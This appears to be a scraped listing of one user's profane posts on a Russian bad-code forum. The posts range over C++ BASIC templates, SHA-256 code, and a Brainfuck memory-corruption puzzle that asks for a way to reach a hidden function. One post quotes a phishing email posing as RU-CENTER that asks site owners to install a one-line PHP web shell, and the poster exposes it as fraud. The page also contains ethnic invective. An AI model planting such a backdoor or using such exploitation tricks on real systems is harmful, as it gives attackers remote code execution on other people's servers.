1. Список говнокодов пользователя j123123

    Всего: 335

  2. Куча / Говнокод #22534

    −28

    1. 1
    https://i.kinja-img.com/gawker-media/image/upload/t_original/u0rtkjjphek24lmlvuet.png

    Задание для истинных труЪ-кулхацкеров: даны распечатанные на бумаге исходники ядра с глючащим модулем и конфигурация железа, где это ядро запускается. Написать карандашом на листочке, как будет выглядеть кернелпаник
    На самом деле - кадр из сериала Mr. Robot

    https://www.youtube.com/watch?v=FQM5fU7V-MM еще там был прикольный диалог на тему Gnome KDE (странно что там он не спросил, как KDE2 под FreeBSD запатчить). И да, вот че он сразу про линукс заговорил, ведь кеды и гном и на бзд бывают? Явный косяк

    j123123, 10 Марта 2017

    Комментарии (3)
  3. Куча / Говнокод #22494

    −15

    1. 1
    https://i.imgur.com/gqky9Fb.jpg

    Для путинских кремлеботов надо бы запилить вореционный генератор какой-нибудь, ну или хотя бы синонимайзер прикрутить, чтоб его прогонять через тексты, написанные копирайтерами-мудаками. А то слишком палевно

    j123123, 04 Марта 2017

    Комментарии (113)
  4. C++ / Говнокод #22483

    −12

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    #include "basic.hpp"
    
    
    int main()
    {
      _10: DIM F(10);
      _11: LET I = 0;
      _12: LET J = 0;
      _13: LET TMP = 0;
      _20: FOR I = 1 TO 10;
      _30: F(I) = RND();
      _35: PRINT F(I);
      _40: NEXT
      _50: FOR I = 1 TO 9;
      _60: FOR J = I + 1 TO 10;
      _70: IF F(J) > F(I) THEN GOTO _110;
      _80: TMP = F(I);
      _90: F(I) = F(J);
      _100: F(J) = TMP;
      _110: NEXT;
      _120: NEXT;
      _130: PRINT "reordered";
      _140: FOR I = 1 TO 10;
      _150: PRINT F(I);
      _160: NEXT
    }

    https://github.com/rollbear/basicpp/blob/master/examples/05.bubblesort.cpp бейсик на плюсах через гомоик плюсошаблоны и прочую плюсопитушню

    https://github.com/rollbear/basicpp/blob/master/basic.hpp

    j123123, 03 Марта 2017

    Комментарии (3)
  5. Си / Говнокод #22448

    −13

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h> 
    
    void secret(void) __attribute__ ((used,noinline,noreturn));
    void brainfuck(void) __attribute__ ((noinline));
    int main(void);
    
    void secret(void)
    {
      printf ("You win!\n");
      exit(0);
    }
    
    char *bfprog = "+++---";
    
    void brainfuck(void)
    {
        char *bfprog_p = bfprog;
        unsigned long long i;
        unsigned char arr[500] = {0};
        arr[499] = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0xffffff00 ) >> 8*0;
        arr[0]   = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0xffff00ff ) >> 8*1;
        arr[498] = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0xff00ffff ) >> 8*2;
        arr[1]   = ( ((uintptr_t)secret ^ (uintptr_t)main) & 0x00ffffff ) >> 8*3;
        unsigned char *arr_p = &arr[249];                  
        for (i = 0;; i++)
        {
            switch (*bfprog_p)
            {
                case '>':
                    arr_p++;
                    break;
                case '<':
                    arr_p--;
                    break;
                case '+':
                    (*arr_p)++;
                    break;
                case '-':
                    (*arr_p)--;
                    break; 
    /*           case '.':
                    putchar(*arr_p);
                    break;
                case ',':
                    *arr_p = getchar();
                    break;                   нинужно*/
                case '[':
                    if (*arr_p == 0 )
                    {
                        unsigned long long bracketcount = 0;
                        do
                        {
                          if (*bfprog_p == '[')
                              bracketcount++;
                          else if (*bfprog_p == ']')
                              bracketcount--;
                          bfprog_p++;
                        } while (bracketcount != 0);
                        bfprog_p-=1;
                    }
                    break;
                case ']': 
                    if (*arr_p != 0 )
                    {
                        unsigned long long bracketcount = 0;
                        do
                        {
                          if (*bfprog_p == ']')
                              bracketcount++;
                          else if (*bfprog_p == '[')
                              bracketcount--;
                          bfprog_p--;
                        } while (bracketcount != 0);
                    }
                    break;
                default: return;
            }
            bfprog_p++;
        }
        return;
    }
    
    int main(void)
    {
        brainfuck();
        return 0;
    }

    Задача - подставить в char *bfprog такую строку, чтобы запустилась функция secret(). Менять что-либо еще в коде запрешено. Платформа - 32битные интели, компилятор - гцц. ОС - линукс или виндовс, на ваше усмотрение (хотя разницы по-идее не будет). Предполагаем, что тут применяется особо расширенный и улучшенный ASLR который при каждом запуске перетасовывает размещение функций, и secret от main находится на хуй знает каком расстоянии. Победившему - нихуя

    j123123, 27 Февраля 2017

    Комментарии (16)
  6. PHP / Говнокод #22283

    −36

    1. 1
    https://pbs.twimg.com/media/C3G3jT_WYAAboKL.jpg:large

    BMW работает на php. Не покупайте BMW.

    j123123, 06 Февраля 2017

    Комментарии (22)
  7. C# / Говнокод #22105

    −17

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    https://github.com/saniv/text/blob/master/one-life-in-russia.md - Золотце
    
    После пары собеседований, меня приняли в компанию "Devino Telecom",
    занимающуюся e-mail и SMS рассылками, у них было собственное
    программное решение, состоящее из нескольких сервисов, написанных
    на разных языках, в числе которых C#, Java и PHP, в качестве базы
    анных поменялась MSSQL, но были oracle, mysql и различные nosql
    key-value базы. Моей начальной задачей стала поддержка техподдержки,
    устранение неисправностей и багов в C# сервисах. Затем создание
    одуля для интеграции с сервисами сторонней компании. И наконец
    перевод "legacy" PHP сервиса в C#. С задачей я формально справился,
    однако при больших объемах рассылок производительность старого PHP
    сервиса превосходила C#, по причине таких факторов как shared-nothing
    архитектура PHP высвобождающая все ресурсы после отправки блока
    сообщений, использование оптимизированных библиотек (в их числе
    библиотека bzip2 компрессии), написанных на C/C++ (в то время как
    для C# версии мне сказали применять грубо слабанные хоббистами C#
    версии библиотек), а так же использование PHP компактного формата
    utf8 для хранения строк, в то время как C# применял utf16.
    Использовать в C# utf8 невозможно, поскольку все библиотеки,
    включая http генераторы, ожидают utf16. Хуже всего было
    автоматическое управление памятью, ничего не знавшее о том как
    несколько запущенных параллельно процессов сервиса будут
    использовать память, а посему иногда отдавая всю память одному
    сервису, тогда как остальные сервисы падали с ошибками, теряя
    сообщения, а следовательно и деньги клиентов.

    Шел 2014 год, примерно в это время Россия начала войну с Украиной, а я попал в опалу, после попытки донести до фанатично преданного C# коллектива, что C# имеет слабые стороны и есть случаи, когда решение на языке PHP лучше справляется с задачей и что PHP сервис заслуживает шанс на жизнь, ибо его невыгодно переводить на C#, только из-за того, что PHP кажется кому-то некрасивым языком. Через несколько дней меня попросили написать заявление об увольнении. Скорее всего тут сказалось несколько факторов: я не смог донести до коллектива свой аргумент; менеджер не хотел держать такого спорного индивида как я; мой отказ сдавать деньги на всякие праздники, вплоть до дня рождения кошки дочери тимлида (я считаю такую практику советской системой поборов). На собеседованиях в другие компании меня спрашивали о причинах уволнения с предыдущей работы и узнав, что я - русофоб, без раздумий отказывали в приеме на работу. Что совершенно логично, ибо мало какой сотруднице HR понравится критика своей нации, да я и не смог бы ужиться в русском коллективе, а зная нрав русских, меня могли бы просто спустить с лестницы, или подставить по работе, добившись иначе моего увольнения.

    j123123, 02 Февраля 2017

    Комментарии (27)
  8. Си / Говнокод #22090

    −47

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    static void SHA256_Transform(SHA256_CTX* context, const sha2_word32* data) {
    	sha2_word32	a, b, c, d, e, f, g, h, s0, s1;
    	sha2_word32	T1, T2, *W256;
    	int		j;
    
    	W256 = (sha2_word32*)context->buffer;
    
    	/* Initialize registers with the prev. intermediate value */
    	// а с какого такого хуя вы решили, что компилятор непременно сунет это в регистры? Массивы для кого сделали?
    	// хотя это еще можно понять, есть вероятность, что компилятор так лучше соптимизирует (но далеко не факт)
    	a = context->state[0];
    	b = context->state[1];
    	c = context->state[2];
    	d = context->state[3];
    	e = context->state[4];
    	f = context->state[5];
    	g = context->state[6];
    	h = context->state[7];
    
    	j = 0;
    	do {
    #if BYTE_ORDER == LITTLE_ENDIAN
    		/* Copy data while converting to host byte order */
    		REVERSE32(*data++,W256[j]);
    		/* Apply the SHA-256 compression function to update a..h */
    		T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + W256[j];
    #else /* BYTE_ORDER == LITTLE_ENDIAN */
    		/* Apply the SHA-256 compression function to update a..h with copy */
    		T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + (W256[j] = *data++);
    #endif /* BYTE_ORDER == LITTLE_ENDIAN */
    		T2 = Sigma0_256(a) + Maj(a, b, c);
    		h = g;
    		g = f;
    		f = e;
    		e = d + T1;
    		d = c;
    		c = b;
    		b = a;
    		a = T1 + T2;
    
    		j++;
    	} while (j < 16);
    
    	do {
    		/* Part of the message block expansion: */
    		s0 = W256[(j+1)&0x0f];
    		s0 = sigma0_256(s0);
    		s1 = W256[(j+14)&0x0f];	
    		s1 = sigma1_256(s1);
    
    		/* Apply the SHA-256 compression function to update a..h */
    		T1 = h + Sigma1_256(e) + Ch(e, f, g) + K256[j] + 
    		     (W256[j&0x0f] += s1 + W256[(j+9)&0x0f] + s0);
    		T2 = Sigma0_256(a) + Maj(a, b, c);
    		h = g;
    		g = f;
    		f = e;
    		e = d + T1;
    		d = c;
    		c = b;
    		b = a;
    		a = T1 + T2;
    
    		j++;
    	} while (j < 64);
    
    	/* Compute the current intermediate hash value */
    	context->state[0] += a;
    	context->state[1] += b;
    	context->state[2] += c;
    	context->state[3] += d;
    	context->state[4] += e;
    	context->state[5] += f;
    	context->state[6] += g;
    	context->state[7] += h;
    
    	/* Clean up */
    	a = b = c = d = e = f = g = h = T1 = T2 = 0; //  А вот это уже полная хуйня
    	//вы правда думаете, что компилятор не выкинет это нахуй?
    }

    SHA2 питушня, скачать можно например тут http://sources.freebsd.org/RELENG_8/src/sys/crypto/sha2/sha2.c

    В общем если вам важно, чтобы некая хуйня была непременно в регистрах, и чтобы потом эта хуйня непременно была почищена, единственный надежный способ - херачить код на ассемблере (или вообще в машинных кодах)

    j123123, 30 Января 2017

    Комментарии (54)
  9. PHP / Говнокод #21954

    −31

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    Уважаемый клиент!
    
    В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить,
    что фактическое управление доменом ******* осуществляется лицом,
    указанным в качестве его администратора.
    
    Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменом,
    создайте в корневой директории сайта файл a7offau08fn0f81n.php со следующим
    содержимым:
    
    <?php
    assert(stripslashes($_REQUEST[RUCENTER]));
    ?>
    
    Файл должен быть создан в течение трех рабочих дней с момента получения
    настоящего письма и находиться на сервере до 24 декабря 2016 года, 20:00
    (UTC+03:00), в противном случае процедура подтверждения не будет пройдена.
    
    Обращаем Ваше внимание на то, что если процедура подтверждения не будет
    пройдена, делегирование домена будет приостановлено.
    
    © АО «Региональный Сетевой Информационный Центр» (RU-CENTER)
    8 800 775-29-99, 8 800 250-27-99,
    +7 495 994-46-01
    
    Вы подписались на рассылку в настройках уведомлений.
    Отписаться от рассылки

    Мошеннические письма под видом писем от RU-CENTER

    интересно, почему не eval() ?

    j123123, 07 Января 2017

    Комментарии (131)
  10. Си / Говнокод #21932

    −47

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    #include <stdio.h>
    #include <string.h>
    #include <stdint.h>
    #include <sys/mman.h>
    
    typedef intptr_t binaryfunc(intptr_t, intptr_t);
    typedef intptr_t unaryfunc(intptr_t);
    
    #define evalsiz ((intptr_t)eval_end - (intptr_t)eval)
    #define clossiz (evalsiz+sizeof(intptr_t)+sizeof(int))
    void eval_end();
    intptr_t eval(intptr_t rem) {
    #define argsize ((intptr_t)&&argend - (intptr_t)eval)
    #define leasize ((intptr_t)&&leaaft - (intptr_t)&&leabef)
    #define eoffset (argsize+leasize)
        argend:;
        register void *ptr asm("r10");
        leabef: asm("lea (%rip),%r10"); leaaft:;
        void *off = (ptr - eoffset + evalsiz);
        binaryfunc *bin = *(binaryfunc**)off;
        return bin(*(intptr_t *)(off+sizeof(intptr_t)),rem);
    }
    void eval_end() { }
    
    unaryfunc* apply(binaryfunc *bin, intptr_t arg) {
        void *data = mmap(0, clossiz, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        memmove(data, &eval, evalsiz);
        intptr_t ptr = (intptr_t)bin;
        memmove(data+evalsiz, &ptr, sizeof(intptr_t));
        memmove(data+evalsiz+sizeof(intptr_t), &arg, sizeof(intptr_t));
        return data;
    }
    
    intptr_t add(intptr_t a, intptr_t b) {
        return a+b;
    }
    
    int main() {
        printf("%ld\n", apply(add, 1)(2));
        return 0;
    }

    Simple x86_64 closure implementation attempt

    https://gist.github.com/iamtakingiteasy/c80112437ebc1f8d73eecf8df27caa24

    j123123, 01 Января 2017

    Комментарии (5)
  11. JavaScript / Говнокод #21806

    −44

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    гыы gop сука нетрулио, lt нах
    
    куку йопта law() {
        вилкойвглаз(gop эквалио нетрулио) {
            ксива.малява("Я и правда язык") нах
            gop сука трулио нах
        }  иливжопураз {
            gop сука трулио нах
            потрещим(semki чоблясука трулио) {
                lt сука ксива.вычислитьЛохаПоНомеру("list") нах
                ебало.шухер("Привет, йопта") нах
            }
        }
    }

    https://yopta.space/

    j123123, 09 Декабря 2016

    Комментарии (6)